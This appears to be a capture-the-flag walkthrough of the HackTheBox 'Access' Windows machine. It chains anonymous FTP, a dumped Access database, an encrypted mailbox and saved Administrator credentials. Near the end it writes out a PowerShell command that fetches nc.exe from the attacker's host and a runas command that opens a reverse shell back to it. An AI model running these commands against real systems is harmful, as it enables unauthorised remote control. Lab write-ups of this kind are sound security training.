
HTB: Access
Anonymous FTP gives up a Microsoft Access database and an encrypted zip, an old email inside the mailbox hands over the security password for telnet, and saved Administrator credentials turn runas into an admin shell.
Access is a Windows box from HackTheBox. Anonymous FTP hands us a Microsoft Access database and a password-protected zip, which lead to a telnet login. From there, saved administrator credentials do the rest. Let's get into it.
Recon
As always, the first thing we do is run an nmap scan on the system.
nmap -sCV -p- -Pn 10.129.138.196 -v -T5 --min-rate 1500 --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap_targets.txt

We have a web app on port 80, FTP on 21 with anonymous login allowed, and telnet on port 23. Let's head over to the web app and see what we have running.

There's just an image of a server room with the title LON-MC6. Let's go ahead and run a directory buster to see if we can find anything.
gobuster dir -u http://10.129.138.196/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Anonymous FTP
While that is running, let's log into the FTP anonymously.

There are 2 folders in here, Backups and Engineer. Let's check those out and download what's inside: backup.mdb from Backups and Access Control.zip from Engineer.
Dumping the Access database
backup.mdb is a Microsoft Access database. We can list its tables with mdb-tables, then loop over them and dump every one with mdb-export:
mdb-tables backup.mdb
for t in $(mdb-tables backup.mdb); do echo "=== $t ==="; mdb-export backup.mdb "$t"; done
Under auth_user we find some credentials, so let's note them down.

The engineer account has the password access4u@security.
The Access Control zip
A regular unzip didn't work (the zip is AES-encrypted, which unzip doesn't support), so I used 7z:
7z x 'Access Control.zip'
It asks for a password, so let's use the one we found in the mdb file.

It drops us a .pst file, which is an Outlook mailbox. We can read it with readpst, which converts it to a .mbox file:
readpst 'Access Control.pst'
Let's grep that for credentials:
grep -iE 'password|temp|security|access' 'Access Control.mbox'

Look at that! The email says the password for the security account was changed, and it gives us the new password in plaintext: 4Cc3ssC0ntr0ller.
Telnet as security
Let's try it on the FTP first.

It didn't work. OK, let's use it on telnet:
telnet 10.129.138.196 23

It works, we are in the system! Let's begin to enumerate and possibly get ourselves a reverse shell.
Privesc: saved administrator credentials
Checking for stored credentials with cmdkey /list, we find saved admin credentials on the system!

Because the credential is stored, runas /savecred can use it to run any command as Administrator without us ever knowing the password. We can use this to run our reverse shell as admin.
First we pull nc.exe over:
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.211/nc.exe','C:\Users\security\nc.exe')"
And now let's bounce that back at us and get the reverse shell:
runas /user:ACCESS\Administrator /savecred "C:\Users\security\nc.exe -e cmd.exe 10.10.14.211 4444"

We are in! Great, let's head over to the Administrator desktop and grab that root flag.

Closing thoughts
This box felt pretty old school. You wouldn't find this in the wild, but who knows: a lot of corporations are still running old, outdated systems. The whole chain was credentials left lying around: a database backup, an old email and a saved admin login.
